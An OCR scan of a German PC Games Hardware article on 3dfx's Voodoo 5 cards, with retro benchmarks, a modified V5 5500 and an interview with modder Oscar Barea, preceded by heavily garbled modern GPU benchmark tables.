Doom 53/64,3 175/199,4 о 53/63,7 92/107,5 © 
Steam) — , Devil's Dance” (OGL) (Vulkan) Din (OGL) (Vulkan) en 
Hitman 33/43,1 48/63,8 o 33/43,4 46/60,4 P 
Steam) — , Sapienza" (DX11) DX12) pu DX11) DX12) EE 
Rise of the Tomb Raider 35/56,2 49/77,5 438 % 30/36,0 31/37,9 45 9| 
Steam) — , Geo Valley" (DX11) DX12) S DX11) DX12) = 
otal War: Warhammer 26/34,4 26/28,8 26/29,5 25/27,8 
Steam) — , Snowdrop" (DX11) DX12) DX11) DX12) 
Bemerkungen: FX-8350 (4,0 GHz) & Radeon R9 Nano (1,0 GHz); RS 17.1.1, Windows 10 x64. Angaben in Fps (min/avg) 
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Ee e mE C3: 95/60/30 TES: 227/173/101 GTA: 63/47/25 ТТР: 105/79/47 СОР: 44,9 En (3: 53/33/16 TES: 135/96/54 СТА: 38/276 TTP: 55/41/24 СОР: 31,0 
SE 
гез 58% ——— Y 2:5 
Es. | [Моке [—————— үр Radeon Шр 
355 | |GTX 1070 [—— e 9 RX 470/8G E ° ° 5 
GE Takt: 1.683 MHz, 8 GT/s ыыы г Takt: 1.205 MHz, 6,6 GT/s Gw; *6 
© E t RAM: 8 GiB GDDR5 AOS: 39/29/27 CW: 93/62/30 F1:81/66/42 МЕС: 77/53/28 TWW: 58/39/21 КАМ: 8 СІВ GDDR5 А05: 26/20/19 CW: 56/35/17 F1: 57/46/29 МЕС: 47/32/17 TWW: 31/21/11 
A Preis:Ca.400 € (+0) | ACS:64/44/24 DMD: 75/50/26 ` FO4:106/70/36 OW:141/95/50 ECR: 76/47/22 Preis:Ca.240 Є (+0) | ACS:3612412 — DMD:53/935/18 — FO4:58/37/17 OW: 85/58/29 — ECR:39D5/12 
3 $5 PLV: 74,1 % BI: 143/98/50 DM:159/103/51 — FCP: 68/51/30 ROT: 66/45/24 W3: 87/59/31 РІМ: 76,9 % BI: 98/61/30 DM: 121/77/37 ЕСР: 40/31/19 КОТ: 38/27/15 W3: 53/36/19 
= = = — C3: 77/48/24 TES: 197/143/84 СТА: 53/38/20 TTP: 83/63/37 COP: 41,1 — (3: 45/28/13 TES: 107/78/45 СТА: 30/21/11 ТТР: 50/38/22 СОР: 39,3 
5 A = 
ed 
PETS vas : г шш 
— Geforce en Geforce а 
LSE „ ннн 6. 70 r. % * 3.584 MiB (224 Bit) 
s= = | |GTX980Ti sÇ: GTX 970 ннн ~. SE E 
=ч тїр — 35,5 9 N 
Sa | | Takt: 1.075 MHz 7 GT/s 9% Takt: 1.178 MHz, 7 GT/s 8% 
š a = RAM: 6 GiB GDDR5 AOS: 31/24/22 CW: 91/58/28 F1: 75/62/40 МЕС: 69/48/20 TWW: 55/38/20 RAM: 3,5+0,5 GiB GDDR5* | A0S: 25/18/16 CW: 64/38/18 F1: 56/45/25 MEC: 31/23/11 TWW: 38/25/11 
s= Preis: Са. 460 € (+30) | ACS:54/39/21 DMD: 70/48/25 FO4:100/67/35 OW: 134/90/47 ЕСА: 72/45/21 Preis: Ca. 230 € (+20) | ACS:40/26/11 ОМ0: 46/32/16 FO4:69/45/23 OW: 90/60/31 ЕСЕ: 43/26/12 
So 5 PLV: 59,7% Bl: 143/99/51 DM: 146/95/47 FCP: 60/47/29 ROT: 62/44/24 W3: 79/54/29 PLV: 79,1% ВІ: 106/67/33 DM: 105/66/31 FCP: 43/31/17 ROT: 33/22/13 W3: 54/37/19 
8023 poem C3: 7447/23 TES: 177/30/77 СТА: 45/34/19 TTP: 79/60/35 COP: 37,5 did C3: 50/31/15 TES:122/88/50 СТА: 34/24/7 ТТР: 52/39/22 СОР: 28,5 
л gu 
LET 
55 z 3 
E22 =——r a ° ИННИ 1. 
s š Se р Radeon г 
s= R9 Fury X wr. RX 470/4G ws 
E z Takt: 1.050 MHz, 1 Gil ara 47% Takt: 1.205 MHz, 6,6 СТ КЕШЕШ 35,8% 
kg Е = RAM: 4 GiB HBM AOS: 34/28/26 CW: 85/59/30 F1: 72/60/41 MEC: 33/24/11 TWW: 46/31/7 RAM: 4 GiB GDDR5 А05: 26/20/19 CW: 57/36/17 F1:57/46/29 МЕС: 28/20/12 — TWW:31/21/7 
RK Preis: Ca. 410 € (-10 ACS: 49/30/13 DMD: 72/49/23 F04: 82/57/29 OW: 126/88/47 ЕСА: 57/38/19 Preis: Ca. 190 € (+10 ACS: 36/24/11 DMD: 52/35/16 РО4: 58/37/18 OW: 86/58/30 ECR: 39/25/12 
$25 reis: Ca. (10) reis: Ca. (+10) 
= == PLV: 64,0 % Bl: 150/101/53 DM: 170/110/56 РСР: 58/47/31 ROT: 49/37/22 W3: 75/54/31 PLV: 94,8 % Bl: 98/61/30 DM: 121/77/37 FCP: 40/32/19 ROT: 38/27/10 W3: 53/36/19 
= SS — C3: 714724 TES: 132/104/66 СТА: 42/31/14 TTP: 81/62/38 COP: 59,8 DU C3: 45/28/14 TES: 107/77/45 СТА: 30/21/10 ТТР: 50/38/23 СОР: 39,3 
а= 
а 8 
s= s D шиа LEE 
Ss Geforce Geforce 
SEE БЕЙ Gw 
e As ü d 
+ x E | | GTX 1060/6G m GTX 780 =s. % 
Ë 
3228| | Takt: 1.709 MHz З GT/s КИШ 44,4 % Takt: 901 MHz, 6 cr, | UU 293% 
5 8 Ека КАМ: 6 СІВ GDDR5 А05: 30/21/20 CW: 74/45/21 Р1: 61/49/31 МЕС: 56/38/16 TWW: 43/28/15 КАМ: 3 СІВ GDDR5 A05: 19/15/12 CW: 57/35/17 F1:44/36/22 MEC: 26/18/8 TWW: 30/12/3 
22 | |Preis:Ca.260€(+0) | АСЅ:47/31/16 — DMD:54/36/18 РО4: 76/50/25 OW: 100/67/35 ЕСК: 53/33/15 Preis: Nicht lieferbar | ACS:30/19/5 DMD: 40/26/12  FO4:55/36/18 OW: 76/51/26 — ECR:38/23/10 
оч E 5 PLV: 82,7 % ВІ: 113/72/36 DM: 115/73/36 FCP: 49/37/22 ROT: 46/31/17 W3: 61/41/22 РІМ: — BI: 103/67/33 DM: 65/42/20 FCP: 35/28/16 ROT: 21/16/6 W3: 45/31/17 
Sat Е — (3: 56/35/17 TES: 144/102/58 СТА: 40/28/14 ТТР: 58/44/26 СОР: 32,3 - C3: 47/30/14 TES: 108/81/50 GTA:31/23/6 ТТР: 50/37/21 COP: 21,9 
A c 
lee 
ЕЕЕ Е I PEL 
х 20-5 |Radeon 2 Radeon 5 
IE Нн 50.2 % [EA 
МЕЕ RX 480/86 Суу R9 280X __ Б 
248 АЈ | Takt: 1.266 MHz 8 GT/s | aaa 435 % Takt: 1.000 MHz, 6 СТ) pp 27,9% 
52 E V (BAM: 8 GiB GDDR5 AOS: 27/22/21 CW: 65/41/20 F1: 63/52/33 MEC: 53/36/19 TWW: 35/24/13 RAM: 3 GiB GDDR5 AOS: 18/14/9 CW: 52/34/17 F1: 35/30/19 MEC: 22/17/5 TWW: 2411715 
Z SC 51 |Preis:Ca.250€(+0) | ACS:43/2915 ОМ0:61/4000 Te 65/42/120 OW: 98/66/34 ECR: 44/28/13 Preis: Nicht lieferbar | ACS:28/18/6 DMD: 40/26/13  FO4:41/27/5 OW: 66/45/23 ECR: 30/20/10 
SIS © PLV: 84,7 % BI: 111/70/34 DM: 145/91/44 FCP: 46/36/22 ROT: 43/31/18 W3: 60/41/22 РІМ: — BI: 85/55/27 DM: 108/67/32 ЕСР: 33/27/17 ROT: 27/20/11 W3: 37/27/16 
x $5 E m C3:51/32/15 TES: 118/87/51 GTA: 34/24/13 ТТР: 56/43/25 COP: 46,3 E (3: 38/2512 ТЕ$: 83/63/38 GTA: 26/19/6 TTP: 44/35/21 СОР: 45,2 
[72] au E 
=. 5 
E | [18 OO O O 
ML 2 
5385| |Radeon [LM Radeon [ 3.7 °; 
< Е 5) R9390 ІС R9 380/46 C 255 % 
Br ww" N 5 
5285| | Takt: 1.000 MHz 6676 { Takt: 970 MHz, 5,7 GT/s { 
S E = КАМ: 8 GiB GDDR5 AOS: 27/22/21 CW: 74/48/23 F1: 55/46/30 МЕС: 47/32/18 TWW: 29/21/12 RAM: 4 GiB GDDR5 А05: 20/16/15 CW: 45/28/14 F1: 42/3421 MEC: 22/16/8 TWW: 23/15/5 
Sol |Preis:Ca.300€(+0) | АС5: 35/2504 DMD: 58/40/21 F04: 63/44/23 OW: 89/61/32 ECR: 43/2914 Preis: Ca. 170 Є (+0) | ACS:23/15/8 —— DMD:39D6/12  FO4: 45/2914 OW: 63/44/22 ЕС: 30/19/9 
= Š cg PLV: 69,8 % BI: 114/73/37 DM: 126/82/42 FCP: 46/37/23 ROT: 40/30/17 W3: 48/33/18 PLV: 80,9 % BI: 76/48/23 DM: 89/56/27 FCP: 30/24/15 ROT: 28/20/9 W3: 39/27/14 
ua i = 5 IM C3: 54/36/18 TES:111/85/53 СТА: 34/26/14 TIP: 62/48/29 COP: 54,8 en (3: 35/22/11 TES: 83/60/35 GTA: 23/17/8 TTP: 39/30/18 СОР: 32,0 
c9 5 с 
Е 2.0 
EES НИ 7 o E 
м Е 95| |Radeon m Geforce а 
© 80а _ „ШШ Г ЕК 
&583| ВХ 480/46 ТИНИ : 2 % GTX 770/46 [— Ft 
2338 
CSC | | Takt: 1.266 МН, cs EEE 1,15 Takt: 1.124 MHz, 7 GT/s| EHE 115% 
5 Ё 5—| RAM:4 GiB GDDRS AOS: 27/21/20 CW: 62/40/19 F1: 62/51/32 МЕС: 30/22/14 TWW: 34/237 RAM: 4 GiB GDDR5 A05: 18/14/13 CW: 53/32/15 F1:38/31/20 MEC: 20/16/7 TWW: 26/17/9 
Gss 
SE = 5 Preis: Ca. 200 € (+0) ACS: 39/24/12 DMD: 57/38/18 РОД: 63/41/19 OW: 96/66/34 ECR: 43/27/13 Preis: Nicht lieferbar ACS: 29/19/8 DMD: 34/23/11 РО4: 48/32/15 OW: 66/44/22 ЕСК: 35/21/10 
r= ES = E 
E _ PLV: 100 % ВІ: 108/68/33 DM: 143/90/43 ЕСР: 45/35/21 ROT: 42/30/17 W3: 59/40/21 РІМ: — ВІ: 86/55/27 DM: 64/41/19 РСР: 32/24/14 ROT: 2114/7 W3: 39/27/14 
ЕЕЕ ° ` 2 C3: 49/31/14 TES: 117/85/50 СТА: 33/23/11 ТТР: 55/42/24 COP: 46,3 ` (3: 42/26/12 TES: 92/67/38 GTA: 28/20/8 TIP: 44/32/19 C0P:17,5 
NN о 
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3dfx Voodoo 5 extrem 


Die letzten Grafikkarten des 3D-Pioniers sollten ursprünglich mit 200 statt 167 MHz Kerntakt und 
spàter mit doppelter Speichermenge antreten. Ob das den Lauf der Geschichte veràndert hàtte? 


immelhoch jauchzend, zu 

Tode betrübt: Dieses geflügel- 
te Wort beschreibt den Werdegang 
der Firma 3dfx treffend. Zwischen 
absoluter Marktdominanz in den 
Jahren 1996 bis 1998 und der In- 
solvenz Ende 2000 vergingen le- 
diglich vier Jahre. Während kein 
Zweifel daran besteht, dass 3dfx als 
Wegbereiter flüssiger 3D-Welten 
am PC fungierte, streiten sich Zeit- 
zeugen immer noch darüber, wel- 
che Faktoren den raschen Fall des 
Pioniers wirklich verursacht ha- 
ben, beziehungsweise wie sich das 
hätte verhindern lassen. PC Games 
Hardware blickt in diesem Artikel 
nicht nur zurück, sondern beleuch- 


“ 


tet auch das „Was wäre, wenn ...“. 
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Die Basis dafür bildet die wohl 
mächtigste Voodoo 5 5500 auf die- 
sem Planeten. Dank diverser Mo- 
difikationen sind wir in der Lage, 
Ihnen ganz besondere, völlig neue 
Messwerte und Horizonte zu lie- 
fern. Doch zunächst ein Rückblick. 


BESSE 2x Au 


EEN 


| 


der 


Tes 


Millennium-Probleme 

Alles kam anders als geplant. Im 
November 1999 präsentierte 3dfx 
auf der Comdex in Las Vegas - eine 
mit der heutigen CES vergleich- 
bare Messe - mit Monaten Ver- 
spätung den VSA-100-Prozessor 


dem Datenträger der 


DVD-Heftversion finden 


drei Artikel als PDF: 


3dfx Voodoo History, Test 


V5 6000, Test der V5 5500 


AGP 4x sowie unzählige Bilder des aktuellen 


s, darunter 3D-Mark-Ergebnisse inkl. 


Fea 


ure-Tests, Benchmarkszenen und mehr. 


inklusive der darauf basierenden 
Produkte Voodoo 4 4500, Voodoo 5 
5000/5500 und Voodoo 5 6000. 
Anders als beispielsweise AMD, 
welche im Dezember 2016 erstmals 
die Vega-GPU in Aktion zeigten, um 
diese Mitte des Folgejahres zu ver- 
öffentlichen, hatte 3dfx zu diesem 
Zeitpunkt weder lauffähiges Silizi- 
um, noch eine Idee davon, was bei 
der Voodoo Scalable Architecture 
(VSA alias ,Napalm^) noch alles 
schiefgehen würde. Der damalige 
Plan lautete, die ersten drei, für den 
Massenmarkt gedachten Produkte 
im ersten Quartal 2000 zu veröf- 
fentlichen und zwei Monate später 
mit dem Quad-Chip-Schlachtschiff 
Voodoo 5 6000 zu komplettieren. 
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Spezfikationsübersicht: AGP-Grafikkarten des Jahres 2000 (Auswahl) 


Modell Voodoo 5 6000 | „Voodoo 5 5900" | Voodoo 5 5500 | Voodoo 4 4500 | Geforce 2 Ultra | Geforce 2 GTS | Geforce 2 MX | Radeon 32 MB DDR 
Hersteller 3dfx 3dfx 3dfx 3dfx Nvidia Nvidia Nvidia ATI 
Fertigung in nm (Fab) 250 (TSMC) 250 (TSMC) 250 (TSMC) 250 (TSMC) 180 (TSMC) 180 (TSMC) 180 (TSMC) 180 (TSMC) 
Grafikchip(s) 4 x VSA-100 2 x VSA-100 2 x VSA-100 1 x VSA-100 NV15(BR) NV15 NV11 R100 („Rage 6") 
Taktrate Kern (MHz) 183 210 167 167 250 200 175 164 
Taktrate Speicher (MHz) | 183 210 167 167 460 (effektiv) 333 (effektiv) 166 328 (effektiv) 
Texelfüllrate (Mtexel/s) 1.464 840 666 333 2.000 1.600 700 984 
Speicherschnittstelle (Bit) | 4 x 128 2x 128 2x 128 128 128 128 128 128 
Speichertransferrate (MB/s) | 11.712 6.720 SESS 2.667 7.360 5.328 2.656 5.248 
Speichermenge/-typ 4 x 32 (128) МІВ |2 х 64 (128) МІВ |2 x 32 (64) MiB |32 MiByte 64 MiByte 32 MiByte 32 MiByte 32 MiByte 
SDR-SDRAM SDR-SDRAM SDR-SDRAM SDR-SDRAM DDR-SDRAM DDR-SDRAM SDR-SDRAM DDR-SGRAM 
AGP-Übertragung AGP 2x (intern | AGP 2x (intern АСР 2x (intern | AGP 4x AGP 4x AGP 4x AGP 4x AGP 4x 
PCI66 = АСР 1x) | PCI66 = АСР 1x) | PCI66 = AGP 1x) 
Hardware-T&L Nein Nein Nein Nein Ja Ja Ja Ja 
Besonderheiten Nie im Handel PCGH-Simulation, | Bis zu 4x 2x SGSSAA Bis zu 4x OG- Bis zu 4x OG- Bis zu 4x OG- ,Hyper-Z" 
erschienen; bis zu | keine offizielle SGSSAA SSAA und 2:1 AF | SSAA und 2:1 AF | SSAA und 2:1 AF | (effiziente Transferra- 
8x SGSSAA 3dfx-Grafikkarte! tennutzung) 
Bemerkungen: Ursprünglich peilte 3dfx für den VSA-100 (Codename , Napalm") 200 MHz Taktfrequenz bei 2,5 Volt Kernspannung an — final wurden daraus 166,67 MHz bei 2,9 Volt. 


Die Geschichte lehrt uns, dass das 
nicht ansatzweise klappte. Die V5 
5500 startete im Frühjahr 2000 
ohne die V4 und wurde zu allem 
Überfluss wegen spàt entdeckter 
Probleme zurückgerufen. Im Juni 
war es dann soweit - viele Monate 
nach der initialen Planung. Die epi- 
sche Verspätung führte dazu, dass 
die V5 5500 in einen vóllig anderen 
Markt mit anderen Konkurrenten 
hineingeboren wurde als vorgese- 
hen. 1999 hätte sich die 3dfx-Karte 
mit der ersten Geforce duellieren 
müssen - ein Kampf, aus dem Nvi- 
dia nur mit gebrochenen Rippen 
herausgekommen wäre. Mitte 2000 
hatte Nvidia jedoch bereits die Ge- 
force 2 GTS mit fast verdoppelter 
Rohleistung sowie den Preis-Leis- 
tungs-Knaller GF2 MX veróffent- 
licht und stand kurz davor, mit der 
GF2 Ultra ein Ausrufezeichen hin- 
ter das Portfolio zu setzen. 


Doch da war noch die V5 6000. Sie 
besaß auch Mitte 2000 das Potenzi- 
al, die Leistungskrone abzuholen. 
Wir sprechen hier übrigens von 
einer 600-Dollar-Grafikkarte, wäh- 
rend die GF2 Ultra ab 500 Dollar 
startete. Wie sich die Zeiten än- 
dern - Nvidias aktuelles Topmodell 


AGP gegen PCI 


Modus Frequenz | Durchsatz 
PCI 33 MHz 133 MByte/s 
AGP 1x 66 MHz 266 MByte/s 
AGP 2x 66 MHz 533 MByte/s 
AGP 4x 66 MHz 1.066 MByte/s 
AGP 8x 66 MHz 2.133 MByte/s 
Die VSA-100-Chips der Voodoo-5-Karten 
kommunizieren intern mit AGP1x-Ge- 
schwindigkeit — ein enger Flaschenhals. 
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kostet in den Staaten 1.200 Dollar, 
die GTX 1080 immerhin 699. Der 
V5 6000 wurde ihr ambitioniertes 
VierChip-Design zum Verhäng- 
nis, sie schaffte es trotz grófster 
Anstrengung nicht auf den Markt. 
Die spáter anhand der Prototypen 
durchgeführten Tests bewiesen, 
dass die V5 6000 bis 2001 die mách- 
tigste Grafikkarte für 32 Bit Farb- 
tiefe, hohe Auflósungen und Kan- 
tenglättung gewesen wäre, jedoch 
auf einen starken Hauptprozessor 
angewiesen ist. Auf der Heft-DVD 
finden Sie neben weiterer Lektüre 
den PCGH-Test als PDF-Datei. 


Plan vs. Realität – 0:1 

Auch die V5 5000, als lohnens- 
wertes Upgrade für PCI-Rechner 
gedacht, verlief niemals den Pro- 
totypenstatus. Die V4 4500 konnte 
indessen nur in Spielen mit 3dfx- 
Glide-Schnittstelle den Anschluss 
an die GF2 MX halten. Wie viel bei 
der VSA-100-Entwicklung unplan- 
mäßig verlaufen sein muss, wird 
nach weiterer Recherche deutlich. 
So gab 3dfx Ende 1999 an, dass die 
V4 4500 - wie die Voodoo 3 - mit 
Passivkühlung auskommen würde. 
Praxistests mit V3-Kühlern haben 
ergeben, dass der VSA-100 wesent- 
lich heißer wird als sein Vorgänger 
und das daher unmöglich ist. Ein 
Tauchgang im Napalm Data Book 
offenbart, was 3dfx ursprünglich 
im Sinn hatte: 200 MHz Taktfre- 
quenz, ergo 400 Megatexel/s Füll- 
rate, bei 2,5 Volt Kernspannung. 
Daraus wurden desaströse 167 MHz 
bei 2,9 Volt - nicht einmal die vage 
angekündigten 183 MHz, bei der 
УЗ 3500 erreicht, wurden in Serie 
gefertigt. 


Das Testsystem vorgestellt 


Ein übertakteter 
des Jahres 2000: 


High-End-Prozessor von 2004 trifft auf Grafikkarten 
Ein CPU-Limit ist damit beinahe ausgeschlossen. 


Es ist nicht leicht, den ultimativen Voodoo-Rechner zusammenzustellen. Während 


viele 3dfx-Fans auf 
streben andere nac 


zeitgenössische Prozessoren wie den Pentium 3 schwören, 
h höchster Leistung. Das Hauptproblem bilden die limitierten 


AGP-Fähigkeiten der 3dfx-Chips: Die V4 4500 und seltene V5-Karten mit 4x-Kerbe 
ausgenommen, benötigen Voodoo-AGP-Karten 3,3 Volt Signalspannung. Damit 


schwieriger wird es 


auglichen Boards, 
hat Kompatibilitäts 
266A Rev. 3.0 ko 


L2-Cache). Wir grei 
er PM-CPUs besitz 


fikkarte ist eine echte Diva und funktioniert nur in einem Bruchtei 


allen AGP-3.0-Chipsätze wie der Nforce 2/3 oder KT600 aus dem Raster. Noch 


‚ wenn ein V5-6000-Prototyp verwendet werden soll. Diese Gra- 
der potenziell 
eilweise besteht sogar Defektgefahr. Doch die 3dfx-Community 
isten erstellt, auf die wir zurückgegriffen haben. Das Asrock 
mbiniert all unsere Wünsche: Es eignet sich in Kombination mit 


dem CT-479-Adapter zum Betrieb des mächtigen Pentium M mit Dothan-Kern (2M 


en auf den PM 765 zurück, da er den höchsten Multiplikator al- 
. Nach einigen Tests landen wir bei 130 MHz FSB-Takt, was mit 


einem 20er-Multi satte 2,6 GHz ergibt. Ein P3 müsste für vergleichbare Leistung 


mit mindestens 3,5 
der Benchmarks au 


GHz laufen. AGP-4x-taugliche Grafikkarten können während 
das volle Feature-Spektrum des Chipsatzes zurückgreifen. 
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HW-T&L: Henne oder Ei? 

Das Hype-Thema Hardware-T&L 
verschlimmerte 3dfx’ Lage weiter. 
1999 mit der ersten Geforce einge- 
führt und 2000 von ATIs Radeon 
erweitert, warf der Mangel einer 
dedizierten Geometrieeinheit kein 
gutes Licht auf die VSA-Serie - auch 
das wàre vor der Jahrtausendwen- 
de anders gewesen. Damals wegen 
der dünnen Spiele-Basis ein Fest der 
Spekulationen, sind wir mit diesem 
Artikel in der Lage, die Diskussion 
um T&L mit zahlreichen Fakten 


anzureichern. Für die jüngeren Le- 
ser: Das Kürzel T&L (seltener: TnL) 
steht für Transform, Clipping and 
Lighting und beschreibt in diesem 
Kontext dedizierte Rechenwer- 
ke innerhalb des Grafikchips. Es 
gilt, die notwendigen Polygone im 
Screenspace zu verschieben, deren 
Sichtbarkeit/Verdeckung zu prüfen 
und sie zu beleuchten. Dies war zu- 
vor eine sehr FPU-lastige Aufgabe 
des Hauptprozessors (Gleitkomma- 
Berechnungen). Im Gegensatz zu 
CPU-T&L funktioniert GPU-T&L 


in Direct 3D erst nach expliziter 
Implementation durch Spiele-Ent- 
wickler. Diese kam 2000 allmählich 
ins Rollen. T&L-lose Grafikkarten 
- wie alle Voodoos - sind Klassisch 
auf den Prozessor angewiesen, 
bevor sie mit der Rasterisierung 
beginnen können, und finden sich 
daher öfter im CPU-Limit wieder. 
Mit steigender Auflösung egalisiert 
sich dieser Nachteil, da GPU-Füllra- 
te und -Speicherdurchsatz limitie- 
ren. Erst 3dfx’ Nachfolge-Generati- 
on Rampage alias Specter sollte im 


Schaubild der modifizierten Voodoo 5 5500 AGP 


Für diesen Test verwenden wir eine V5 5500, welche nach unseren Wünschen verbessert wurde: Anstelle von 2 x 32 trägt sie 2 x 64 MiByte Speicher und 
kann außerdem auf die letzte Revision der VSA-100-Chips zurückgreifen. Eine Spannungsspritze sichert Frequenzen von 200 MHz und mehr. 


D 
пуан 
babu. 7 
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Jahr 2001 Hardware-Transformati- 
on einführen. 


Voodoo meets 2017 

Wir kónnten mit der Geschichts- 
stunde ganze Sonderhefte füllen, 
nun ist es jedoch an der Zeit für 
den Radschlag in die Gegenwart - 
zumindest teilweise. Wie Sie den 
Extrakästen unten und auf der vor- 
herigen Seite entnehmen, haben 
wir großen Aufwand betrieben, 
um brandneue Benchmarks klas- 
sischer Grafikkarten anzufertigen. 


Keine handelsübliche VSA-100-Grafikkarte stemmt 200 MHz Taktfrequenz, das stabile Limit 
bewegt sich zwischen 175 und 185 MHz. Um deutlicher vom Standardtakt wegzukommen, 
welcher für Kern und Speicher 166,67 MHz beträgt, haben wir auf eine modifizierte V5 
5500 AGP zurückgegriffen — beachten Sie dazu das Interview rechts. Mittels Reflow-Ma- 
schine wurde die Karte zunáchst um ihre beiden GPUs (Ziffer 2) und 8 x 8 MiByte SDR- 
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DRAM (1) erleichtert. Auch die Kühler (unten) mussten zwei Titan CUV2AB weichen. 


attdessen kommen potentere Komponenten zum Einsatz. Die Revision 320 des VSA-100 
wird auch auf der V5 6000 verwendet und erlaubt höhere Frequenzen als ihre Vorgänger. 
nsere Chips stammen aus der Kalenderwoche 40 des Jahres 2000. Der neue RAM besteht 
us 8 x 16 (128 MiB), ergo 64 MiB pro Chip — mehr kann der VSA-100 nicht adressieren. 
Da der Platine Leiterbahnen zum Betrieb von 16-MiB-Chips fehlen, wurden diese mithilfe 
on Draht installiert und zum Grafikchip verlegt. Zu guter Letzt sorgt ein Widerstand bei 

er Spannungsversorgung dafür, dass die Kerne mit 3,1 Volt arbeiten (Standard: 2,9). 
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Bildberechnungszeiten in Max Payne 2 


Bildberechnungszeiten in UT2004 


1.024x768x32, max. Details (außer Shader) - „Elevator Doors”; Fraps-Log 
40 
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30 


25 


E V5/64M (167/167 MHz) 
5 W V5/128M OC (205/205 MHz) 
EŒ GF2 GTS/32M (200/333 MHz) 


Frametime (ms) – weniger ist besser! 
N 
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1.024x768x16, maximale Details — „Antalus Walk-thru"; Fraps-Log 
55 
50 
45 
40 
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30 
25 | 
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E V5/64M (167/167 MHz) 
W V5/128M (167/167 MHz) 
10 E V5/128M OC (210/210 MHz) 
W GF2 GTS/32M (200/333 MHz) 
E Rad. DDR/32M (164/328 MHz) 


Frametime (ms) — weniger ist besser! 


0 2 4 6 8 10 12 14 16 18 20 
Zeit in Sekunden 


System: Pentium M (Dothan) @ 2,6 GHz, Asrock M266A v3.0, 2 x 512 MiB DDR-260; Windows XP x86 SP3, 
SFFT 1.9, Gef. 71.84 Bemerkungen: Max Payne 2 profitiert in diesen Einstellungen von mehr als 32 MiB pro 
Chip. Die Geforce 2 GTS erreicht über weite Teile die höchsten (= schlechtesten) Bildberechnungszeiten. 


System: Pentium M (Dothan) @ 2,6 GHz, Asrock M266A v3.0, 2 x 512 MiB DDR-260; Windows XP x86 SP3 
Bemerkungen: Die mit Hardware-T&L ausgestatteten Radeon- und Geforce-Karten erreichen absolut saubere 
Frametimes. Alle Voodoos hingegen zucken — vermutlich wegen des immensen Datentransfers über den AGP. 


Interview mit Oscar Barea alias ,,osckhar" 


PCGH: Hallo! Schón, dass du hier bist. Bitte stell dich unseren Lesern vor. 


Oscar: Mein Name ist Oscar — respektive „osckhar” in der 3dfx-Welt — und ich komme 
aus Spanien. Ich bin ein leidenschaftlicher 3dfx-Fan und -Modder. Anfangs sammelte 
ich alle möglichen 3dfx-Grafikkarten, im Laufe der Zeit wandte ich den kommerziellen 
Voodoo-Karten jedoch den Rücken zu und widmete all meine Aufmerksamkeit den 
Prototypen. Ich hatte den Traum, mein eigenes Online-Museum voller 3dfx-Laborkarten 
zu erschaffen. Hier ist es: www.3Dfx.es 


PCGH: Was hat deine 3dfx-Passion ausgelöst? 


Oscar: Meine Leidenschaft wurde im Jahr 1999 durch einen TV-Werbespot für die 
Voodoo 3 geweckt. Als ich die grüne Box sah, verliebte ich mich sofort und kaufte meine 
erste V3 3000 AGP - ich habe sie immer noch! Als 3dfx dann die Tore schließen musste 
und Anfang 2001 die Prototypen der Voodoo 5 6000 auftauchten, war glasklar: Ich 
musste eine davon besitzen. Seit diesem Startschuss ist viel passiert und nun kann ich 
voller Stolz eine der größten 3dfx-Sammlungen der Welt vorweisen. 


PCGH: In der 3dfx-Gemeinde hast du dir auch als Modder einen Namen 
gemacht. Besitzt du ein Labor und spezielles Equipment dafür? 


Oscar: Ich hatte einen Nebenjob in einer kleinen Firma, die auf Reflows/Reballing 
[Anmerkung der Redaktion: Mikrochip-Lötarbeiten] und Laptop-Reparaturen spezialisiert 
war. Dort sammelte ich Erfahrungen, die ich nach und nach bei meinen 3dfx-Karten 
anwendete. Ich wollte vor allem meine Voodoo 5 6000 ohne die Hilfe anderer repa- 
rieren. Was anfangs nur Freizeitspaß war, machte mich im Laufe der Zeit zu einem der 
erfahrensten Modder/Mechaniker für 3dfx-Karten (V5 6000, Daytona, Rampage). Ein 
paar Beispiele findet ihr unter www.pcgh.de/Rampage-Reworks. 


Was 3dfx-Mods grundsätzlich angeht, gebührt der Ruhm dem Nutzer , komponent". Er 
hat aufgezeigt, wie es geht. Ich würde sagen, dass er meine Inspiration war. 


Ich besitze ein Labor, das mit diversen Lötstationen ausgestattet ist (ВСА Rework, 
Reballing mittels Infrarot oder Heißluft, spezielle SMD-Feinlötgeräte). Dieses ermöglicht 
es mir, meine Modding-Dienste über Ebay feilzubieten. Ihr wollt eine Speicher-Verdopp- 
lung für eure V4/5-Karten (optional mit geringerer Reaktionszeit), Jumper zur Selektion 
von 16/32/64/128 MiB oder eine Vmod auf bis zu 3,2 Volt? Kein Problem. Ich kann 
außerdem ältere VSA-100-Chips gegen die dritte Revision austauschen, welche auf der 
V5 6000 zum Einsatz kommt. Laut Hank Semenec [Anmerkung: Ex-3dfx-Ingenieur und 
Schöpfer des PCI-Reworks für die V5 6000] verkraften diese 200 MHz und mehr. Diese 
Modifikation inklusive Vmod habe ich auch für euch durchgeführt. Außerdem habe ich 
zahlreiche V5-6000-Karten von Sammlern aus Deutschland, Rumänien, Frankreich und 
Spanien wieder flottgemacht. Und falls ich's nicht richten kann, gibt's das Geld zurück. 


Daneben biete ich einen selbst gebauten AGP1x-auf-4x-Adapter (3,3 zu 1,5 Volt) an, 
der AGP-1.0-Karten wie die Voodoo 5 auf AGP4x-Platinen lauffähig macht [Anmerkung: 
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natürlich mit 1x-Geschwindigkeit]. Eine 
weitere Option ist ein AGP-auf-PCI-Adapter. 


PCGH: Hübsch! Arbeitest du gerade an 
etwas Speziellem? 


Oscar: Ja, ich tüftle derzeit an einem 
PCle-auf-AGP-Adapter, der hoffentlich bald 
fertig ist. Er wird es uns ermóglichen, eine 
Voodoo-AGP-Karte auf einem modernen 
Mainboard mit PCI-Express-Schnittstelle zu 
betreiben. 


Erwähnenswert ist außerdem der Wunsch 
eines italienischen Sammlers, die Speicher- 
kapazität seiner V5 6000 von 128 (4 x 32) 
auf 256 MiB (4 x 64) zu verdoppeln. Diese 
Modifikation ist bereits durchgeführt und 
funktioniert, ich muss nur noch etwas Fein- 
tuning betreiben. Das ist die erste V5 6000 
mit satten 256 MiB Speicher! 


Oscar Barea, leidenschaftlicher 
3dfx-Fan und -Modder 


PCGH: Rampage, 3dfx' unvollendete DX8-Generation, ist ein unglaublich 
spannendes Thema. Gibt es Fortschritte beim Flottmachen der Prototypen? 


Oscar: Oh ja, Rampage ist eine meiner Obsessionen. Viele Jahre lang verbrachte ich 
meine komplette Freizeit und zahllose Nächte damit, Ex-3dfx-Ingenieure zu kontaktie- 
ren, stets auf der Suche nach der Legende. Nun besitze ich sogar zwei funktionierende 
